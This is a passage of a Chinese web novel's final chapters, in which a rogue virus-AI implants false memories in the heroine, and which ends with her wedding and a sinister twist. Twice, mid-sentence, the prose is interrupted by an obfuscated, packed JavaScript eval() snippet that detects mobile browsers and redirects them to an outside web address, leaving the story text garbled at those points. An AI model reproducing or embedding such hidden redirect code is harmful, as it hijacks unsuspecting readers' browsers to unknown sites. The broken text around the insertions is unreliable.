所以从一开始他就以孩童样貌出现,等栖真开始长大,他却没有变化,因为没必要了!这傻姑娘比预想地好骗,即便他维持原样,她都喜欢他。 “让你独自穿越,又遇到我这种坏人怎么办?”阿恒用不属于自己的嗓音,吐出最深的担心。 脑里闪出刚才看到的原始代码,他回到操作台,五指翻飞,调出那段隐形程序。 “这个穿梭仪的设计者真是天才,居然在这里配备植入新记忆的程序。”阿恒自言自语。 穿越好比投胎,抛弃过往,到另一个时空清零重来。这台穿梭仪的设计者很懂产品,增值功能配得相当到位。它可以篡改那个世界的系统记录,包括个人信息、房产信息、银行存款、学历记录等等,以此达到以假乱真的效果,确保穿越者在异世顺利存活。 阿恒嘲讽地笑起来。 天宫人谴责吞噬者,这个程序的设计思路和吞噬者又有什么差别?不也是利用网络,非法篡改现实? 调出记忆模块,这是从出生年月、父母情况、家庭环境、最高学历、到个人擅长、兴趣爱好,甚至感情经历的全方位参数设置。 阿恒一个个输入。 他不断咳嗽,呼吸越发粗重,甚至喉间泛甜。 “你在天宫被利用,这段记忆不值得拥有,忘了吧!这次,我来给你完美人生。” 他输入得太投入,没察觉操作台上方的人脸。砸窗的动静让阿恒抬头,和窗外人打了个照面。 有人也从天宫脱离,从安置舱跑出来。 阿恒瞪着贴在窗上的脸,披散的黑发、冒火的双瞳、刀削般的面颊…… 而屏幕上正显示着下一个选项:精通古文? 来不及设置了! 阿恒在操作台上把已设部分极速关联进鸢尾,毫不犹豫点下鸢尾的启动键。 身后的水晶棺发出顺滑的启动音,阿恒回头,棺中没人了。 他长吁口气。 这样就好! 这样,他才能专心应付眼前的局面。 手不受控制地移向操作台上的开门键。 门开了,穿梭仪的设计者——C博士,从外面走进来。 C博士扫一眼水晶棺:“人?” 阿恒不语。 C博士瞳色变成冰蓝色的机械眼,迅如猎豹般卡住阿恒的脖子:“死!” “我知道她没有真正把你消灭… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149268|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …”阿恒咽喉受制,攫住C博士的手:“你得不到聚合器,我不会把她给你。” 阿恒不可能干得过吞噬者,但格朗足以干掉C博士。阿恒一个下勾,揍上博士的下巴,成功让他偏头。 雷雨般的拳砸在C博士身上,他被打倒在地。阿恒知道自己只能争取这点时间,只有这点时间,他还能照自由意志行事。 他没有料错! 返身在操作台上输完最后一条指令,格朗的身体开始不受控制。 阿恒僵硬地往舱门去,背后响起吞噬者无机质的声音,渗血的嘴角让它吐字不清:“出去。你要当人,人类的死法适合你。” 阿恒走出穿梭仪,舱门在身后关闭。 不能动,他笔挺挺地站着,连捂鼻的动作都做不到。 他被毫无防护地扔在SI3.2中,陷身幽灵徘徊的黑暗,只身面对无尽的死寂。 人类的躯壳真是脆弱啊!魂灵必须仰仗有机体存在,一旦身体被破坏,魂灵的痛苦就成倍加剧。 但阿恒不觉得害怕。他将视线投向生巢,原本高亮的数字黯淡下去,可他仍然确定,那就是他刚刚去过的地方。 格朗的记忆说,四百年前,栖真进舱时还是一个刚剪下脐带的小婴儿,所以他,阿恒,就是诺亚时代看过栖真成人真容的唯一人。 单为这个认知心头都升起自豪,阿恒想笑,可是嘴角他都控制不了,只能在脑中一遍遍回想适才的惊悸。 她美丽又纤细,修长的脖颈单手都可折断,让人看一眼就心生怜悯。她身量不矮,就是太瘦,与正常体型有差距。可那又如何呢?无论美丑,她都是他心中蚌壳初开的珍珠,纵使他用人工智能搜罗一百万种词汇去形容,也无非只有一句——他为她痴迷。 但在一千八百二十五天前,他的小女孩完全不是这样。 阿恒记得很清楚。 那天,主程序像吞噬狼一样把它分化出去,让狼群掩饰它的存在。它伏在树上,看着树下的救援。 它很清楚自己的使命!主程序感知到天宫中出现一种微弱的神识聚合力,所以派它前来一探究竟。 没想到只是一个小女孩。 而天宫中从来没有这样的魂灵。 从树上跃下时,它照主程序的指令化身成她的同龄人,因为宏数据显示,人类对和自己相似的人容易产生好感。 谁知小女孩那么好骗,只会说“好的好的”,让下悬崖她就去,遍体鳞伤都听话。 真是傻得一比。 傻归傻,阿恒觉得这女孩很特殊,主程序和他皆无法附身,而她那种优于常人的能力明显还有加强的可能,只是如何才能变强,得靠她自己。 那夜火烧崖底,她焕发出无与伦比的甘甜气息,证明自己能成为其他神识的聚合器。 主程序立刻得悉,栖真可以为它聚拢整个天宫的神识,那感觉太美妙,令被天宫人称为“吞噬者”的主程序难以抗拒。 但和女孩朝夕相处的不是吞噬者,是他,阿恒。 当她抬起天真的眼,问哥哥叫什么?他心里想,叫什么有毛关系?早晚吃掉你! 可最终,他只是仰望天空,回答道:“恒星就是一直会在那里闪耀的星星,我的名字叫恒。” 渐渐的,对主程序,他开始选择性地屏蔽,用欲盖弥彰的循环语句代替自己的真实感受。 他觉得主程序应该对栖真被博士带走一事乐见其成,那代表它的聚合器将顺理成章变强,直到为它所用。 阿恒预料到之后发生的事情,在和格朗见面的洞穴里,他一眼看出格朗胸前伪装的录音器,于是抢在格朗对他是孩童一事表示惊讶前说出感激,谢谢他们对栖真的照顾,然后附身他、化作他。 出乎他意料之外的是,即便用格朗身份在飞行器上对栖真耳提面命,要求保证,在月亮湾,他仍然亲眼见她把自己的要求当耳旁风。 真是气炸了! 她能不能听话?不是一直很听他的话吗?为什么关键时候一意孤行,连命都不要? 他急红了眼!恨不得喝她血,拆她骨,一口吞下她,那样栖真就能乖乖待在他体内,再没有任何东西可以伤害她! 怀着这样的恨意,他做出一件富有想象力的事。 天宫利用她,吞噬者利用她,他就让她离开,去哪里都行。 他很清楚这是背叛! 作为病毒,他背叛主程序,背叛自己的天然属性,但他必须忠于内心。 …… 嘴里有血流出,身体可以动了。 阿恒猜想,穿梭仪内被吞噬者附身的C博士应该把注意力放去了其他地方,对他的控制自然就会减弱。 阿恒跌倒,单膝跪地,又立马撑住自己。 就在刚才站在门口的几分钟里,他徒然想到一种可能性。但万分之一的可能,他都不能让它存在。 被□□的痛苦裹卷,他只能拖着残躯爬到加充口附近,吃力地把手搭上金属控件,从光纤再次进入穿梭仪的操作系统。 他也是病毒,对如何植入病毒得心应手。进入系统后,他立刻发现吞噬者确实在他出去的那点时间里,查看过上一次执行的穿越程序。 主程序无比强大,可惜没和人正面打过交道——只要没和人类打过交道,就不具备疑心的能力!不像他,在人类世界待了五年,有了心机。 鸢尾已被删除,吞噬者只能查到一个伪装的目的地,大体比栖真去的年代要早上千年。 无所谓,只要吞噬者不去栖真那里,去哪里又有什么关系? 他已经背叛吞噬者,被它抛弃,随着□□的腐蚀,很快他将困于格朗的尸体,也会彻底消失。 他亲手篡改了栖真的记忆,让唯一能证明他来过这个世界的人也将他彻底忘记。 阿恒在穿梭仪的程序里留下一尾隐藏的触发程序,然后悄无声息地退出。 不想趴在加充电缆上,但他没力气移动了。穿梭仪在面前消失,吞噬者自以为追随它的聚合器而去。 阿恒眼前黑芒,开始感受死亡。 可是死亡对他来说又算什么? 他很确定,每个时代都有恒星。阿恒会离开,栖真的恒星永不消亡! 231. 第 231 章 最终章 《中土盛世录》这样记载这场百年一遇的婚礼: 这是辛丰和大容真正意义上的合并。大容王风畅在登基成为辛丰王时尚未从大容退位,他执掌两国权倾天下,在中土风头无量。但熟者皆知,新王对权势从不热衷,他这么做,不过想给挚爱一个盛大的婚礼。 纵使辛丰朝上反对声在大婚当日都未歇停,民间浪潮般的呼声却足以将不和谐的声音挤去。辛丰民间不知出于怎生判断,对新皇和新后发自内心爱戴,尤其对新后的拥立,简直达到匪夷所思的地步。 人民的眼睛是雪亮的,之后的历史可以证明他们赢下豪赌,成为盛世的子民,终其一生活在令他们骄傲的国度。 这场仪式相当复杂,辛丰王带着望不到头的迎亲队伍和贵重婚礼于巳时抵达万仞山,在可能宫大殿亲迎新后。身穿吉服的辛丰王气宇不凡,亲自将头戴红盖的新娘抱下山。没有一段皇家婚礼会有这种亲民桥段,但在辛丰王的坚持下,抱人下山反而成为整场婚礼最新奇的部分。响彻城郭的爆竹声中,山上学子和山下城民差点将山道挤瘫。此举让观者感觉这场仪式绝非政治联姻,迎娶心上人的喜悦在这一抱中体现得淋漓尽致。从此“抱上花轿”成了中土婚嫁的新潮流。 正礼则在辛丰皇宫,他们抵达辛丰已在午后。那是庄重而繁琐的流程,新后坐着二十人抬的豪华婚辇,在万众瞩目和虔诚跪拜中自城门经通乾大道入宫。金锤击鼓声中,帝后携手,上承坤坛祭拜天地,告庙册后。相对轻松的是晚宴,辛丰群臣和大容新贵在宴上互通有无,致使闭宴时间比预定晚去半个时辰。辰时过后,帝后才在礼官引导下入锦鸾宫。 ………… 上次来乾都,通乾大道上龙形长队,走的是风宿恒的送葬队伍。这次重回,却是她坐着婚辇,被盛大隆重的仪式引进宫。 正因为来过乾都,知道通乾道贯通南北,很长,所以栖真相信时间还很充足。 今日时刻被人簇拥,从回真洞出来至今,这是她唯一独处机会。 婚辇抬得很稳,感受不到颠簸,婚辇四周围着大红锦笼,和外界视线隔绝。婚辇外齐宣的鞭炮和欢呼沸反盈天,辛丰百姓出乎意料地热情,头顶的珠冠重得她脖子直不起来,三重精绣婚服让人汗湿衣襟……所有这些,都让栖真诚惶诚恐。 但此刻汗湿的手心并不完全为此,她揭开盖头,需要新鲜空气来平复恐惧又好奇的心。 今天是她的大日子,和风宿恒一路走来实属不易,她能恢复自由下山,完成期盼已久的婚礼是多么幸运。 若今早没有走进回真洞,她状态想必更佳,应该激动、期盼,心怀憧憬。 但时间无法倒回,她去过回真洞,见到了王座上的重离。 思绪飘到今早洞中…… “当你看到我的AI影像,代表我已经离开,只有你独自待在洞里,否则这段影像将永远无法开启。” 栖真走近,发现王座上的身影确实并非重离亲临,不过因为AI太过逼真,她乍看错认。 “栖真。”重离无机质的声音在继续:“觊觎你五百年,你该归我所有,没把你带走是我失败,但你不要妄想摆脱我,一生一世都不可能。” “你一直说你在这个世界爱上一个人,你可以为他抛弃一切,但你根本不知道自己到底爱上什么人。看完这个,如果你不相信,每晚03:43会给你答案。” 栖真从袖袋里掏出龙眼似的果子。 不错,这就是当年她在英晚瑢的异度空间吃下的那种百答果。 重离也有百答果,想来大容那株源自他手,毕竟他才是大容真正的神明。 这次他想通过红色果子,给她传递什么信息? 栖真紧张,终是将其吞下。 脑中针尖微芒,白光直袭脑门,一段段影像电影般在脑中闪过。 那是阿恒的记忆。 她看到了阿恒的记忆,点点滴滴,一开始是它变成他,到最后,则成倒卧加充栏上的白骨。 栖真拽紧膝上婚服,指节发白。 她出生于1995年,中国申城,父母走得早,但她对他们一直都保有完整的记忆。 可现在重离借阿恒的记忆告诉她,不是的!她根本不是现代人,她出生在诺亚纪年、海底生巢。是阿恒给她植入记忆,把她投到现代,只为让她重生。 而她到现代的日子是2013年2月28日。 2013年2月28日……栖真不可能记错。 就在那一天,她惨遭歹徒劫持。 难怪那次事件后她怕人、少言、多梦、身体虚弱、动不动拉肚子,记忆还模糊混乱——顾医生说这是她被劫持后的PTSD,现在她知道了,那是一个诺亚人在新时代的适应期! 所以她根本不是三十岁,而是四百岁?她已经活了整整四百年? 意识到这一点,栖真喉头泛甜,忍不住干呕起来。 这让她如何接受? 呼吸数次才稍微平静,至少现在她可以确认一点,这个重离,这个给她百答果的重离,不可能是C博士,而是真正的吞噬者。 不知出于什么原因,博士大战前跟她说阿恒已死,但从阿恒的记忆看,他根本没死,或者确切点说,他在天宫就不可能死。 因为阿恒根本是吞噬者的分身。 他们是同样的病毒,同样的程序! C博士给她听那段录音时,一定不知道她的阿恒就是天宫的大敌,否则他应该疑心她通敌,而不是促她对敌。 现在她知道了,那场大战的结果是她即便付出性命都没能成功杀死吞噬者,在阿恒带即将爆体的她脱离天宫后,吞噬者附身博士也离开天宫,坐穿梭仪循着一条错误的讯息来到中土。因为这个古人世界无法及时提供加充,将他困了上百年,否则吞噬者早去现代抓她了。 蓝胡子的女人在好奇心的驱使下推开禁门,发现丈夫的秘密。走下婚辇时栖真很后悔,为何非要在花轿上吃下果子。她被真相砸得晕头转向,但仪式还要继续,根本没时间理清思绪。 接下来的仪式,她无法全心投入。 好在流程虽繁琐,但无需新后动脑,即便神魂不在,也不妨碍她跟着自己的夫君完成跪拜和祝祷。 直到婚宴结束,寝宫安顿,卸妆、沐浴、换衣,所有事情做完和风宿恒瘫在硕大的婚床上,两人都长吁一口气。 “真真,累不累?” 风宿恒眼睑下有淡淡失眠的痕迹,看她的眼神却专注。 栖真眸光写满疲累,竖起小白旗:“洞房花烛夜,他乡遇故知,但我今天真地不行了。” 风宿恒嘴角擒笑:“今日起,他乡和故知有一辈子,不用急于一时。” 栖真就差给他抱拳,说句谢今晚不杀之恩,又觉大婚夜提凶字不吉利,也侧身和风宿恒面对面。 两人互瞧着都不言语,今天她知道的太多,远超能承受的程度,现下真无心力去向风宿恒坦白吞噬者的留言。 明天吧,明天一定好好问问他,阿恒是不是真地做了那些事。 无论在诺亚、现代还是中土,无论她活了多少岁,无论他是阿恒、雷恒、还是风宿恒,当她凝视这个男人的眼睛,这些好像都不重要了。 重要的是,她终于嫁给他,从此以后再不分离。 困意涌来,栖真睡眼惺忪,抚上风宿恒的脸:“看你也好累,是不是想着今日要大礼,昨晚没睡好?” 风宿恒由她抚弄,吐出一句:“不是昨晚没睡好。” 栖真打个哈欠:“前天也没睡好?” 风宿恒:“从你回来,就没睡过。” 栖真嗯一声,闭眼前一个激灵醒来,瞪眼道:“我回来已经好几天了!” “七天。” 栖真彻底醒盹:“七天?你七天没睡?” 风宿恒重重闭眼又睁开,淡声道:“睡不着。” 栖真一下坐起:“这三天你回辛丰我不知道,可我们在真爱祭酒……” ……你明明睡得很好…… 说不出话来了,在真爱祭酒那几日他们在一起,激烈地在一起,每晚都以她的昏厥或累极告终。 而隔日一早,风宿恒总坐在床边等她起,给她打水洗漱,谁成想竟一夜未眠? 七天不睡,都突破生理极限了吧? 栖真:“为什么睡不着?” 风宿恒把她扣进怀里,带着疲顿的尾音:“怕一闭眼,你又不在。” 栖真僵住,忽然明白过来。 风宿恒等她五年,见面第一晚却说自己很高兴,他在为她只经历五个小时,不用同他一般熬受锥心的日日夜夜而高兴。 他把自己五年里的痛苦相思、患得患失、害怕失落一笔带过,除了告诉她时空交错的事实,没有一句诉苦和抱怨。只在重逢的日子里,全然以她的视角安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14157257|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抚和庆祝。 可背地里,他真有那么豁达? 风宿恒撸着栖真的背,让她放松:“五年里的每一天,我只要闭眼就会有个声音跳出来:这辈子还有可能等到你归来吗?这样的疑问重复上千遍,如今失而复得,我舍不得闭眼。五年里,我也不知是不是真有必要天天坚守回真洞,可现在我满脑子都是你在穿梭仪里的样子,我后怕,若这些年没有坚守洞中,凭你当时的状况,不可能撑到我去救。” “不是不想睡,但我没办法,不时时刻刻看着你,我无法安眠,若非急于把你娶回,我不可能离开你,这三天……” 他不再说下去。 栖真哽咽地亲吻他:“别患得患失,我保证,今后你去哪里我就去哪里,没任何事、任何人能把我们分开,你安心。” 泪眼婆娑,望进风宿恒的眼,栖真跟他动之以情晓之以理:“但是宿恒,不睡觉是不行的,虽然人人说你不是人,但你毕竟是人,是人就不能不睡觉。你搂着我,我就在你身边,一直一直陪着你,我们每晚都在一起,你要我也是随时随地。” 风宿恒在她的亲吻里动情,就像他控制不住自己对她的感情,他也控制不住自身对她亲吻的反应,他为让她新婚夜落泪感到歉意,回吻予以保证,他一定好好睡觉,绝不虐待自己。 有些事是控制不住的,一个缠绵的吻能让累瘫的人死灰复燃,他们说好今晚除了睡觉什么都不做,结果做到睡觉,让这个疲累的夜,成了真正他乡遇故知的洞房花烛夜。 尤其某个高峰,风宿恒在栖真左腰窝上咬了一口,让她目眩神迷,加倍颤栗。 “风宿恒,最后一个心愿,希望你能帮我达成……请你帮我亲一亲她左腰窝上那颗小痣,我早想这么做,如今只能拜托你,就当是我在这个世界最后的遗愿。” 风宿恒想,雷恒,我可以帮你达成心愿,但要用我的方式! 栖真怎知男人心思,等一切尘埃落定,撑到身边人闭眼,甚至听到风宿恒因极度疲累带起几不可闻的鼾声,她才放心睡去。 栖真很快沉入深眠。 在梦里,一座座工厂起来了,锻造出高精度的钢铁,支撑起工业发展的骨骼;原油成功开采,提炼的石油成为工业的血脉,机器生产线在大街小巷开动,长长的铁路在中土各地穿梭……这是一个带着奔头的时代,人们被日新月异的浪潮裹携向前奔涌,直至一个远超他们出生时的高度。 也许在这样的浪潮里,玻璃纤维也将问世,随着无需试错的发展进度,光纤再次站上历史舞台。如今靠子石完成的单一通路,将于未来数十年中再次以计算机面世的方式得到普及。 如果一切成真,那是一个怎样的世界呢?对于中土,未来将充满想象,而她就来自那个被想象的未来。她带着自豪和隐忧,看遍地的工厂吐出废气,数之不尽的废水流向大海,因为试错成本为零,原本被六百年工业文明毁掉的地球,在中土百年便再次糟践。 届时她还没走到生命终点的话,就会再次呼吸污染的空气,面对阴霾的天空,鲜美的鱼和时蔬也将绝迹。 她在这样的世界跌跌撞撞,寻找出路,人类于末世的恐惧她要提前历遍。而另一方面,光纤带来计算机,计算机带来病毒,病毒除了侵占网络,还在真正的世界兴风作浪。人类倾覆的命运再次重演,吞噬者吞下人心的贪婪,替无辜的地球消杀。 是的,吞噬者无情的机械眼,已在中土发展道路的尽头睁开。 而她带着中土,正朝那个方向跨步。 ………… 栖真被噩梦惊醒,在黑暗中喘息,感受后背汗湿的冰凉。 抚去头上的汗,不明白为何会在新婚夜做这样一个令人心悸的梦。 栖真悄然翻身,看向身边熟睡的心上人。 暗夜描摹出他健硕的轮廓,栖真看着看着,慢慢平复下来。 闭眼前,栖真不经意瞥了眼床头钟。 03:40…… 重离说,你有疑问,每晚03:43会给你答案。 还有三分钟就到他说的时间了,可这时间代表什么呢? 栖真屏住呼吸,看秒针滴滴答答往前走。 03:41 03:42 03:43 身侧的男人悄无声息睁开眼,向她望来。 眼里闪着冰冷的蓝色机械光。 (全文完)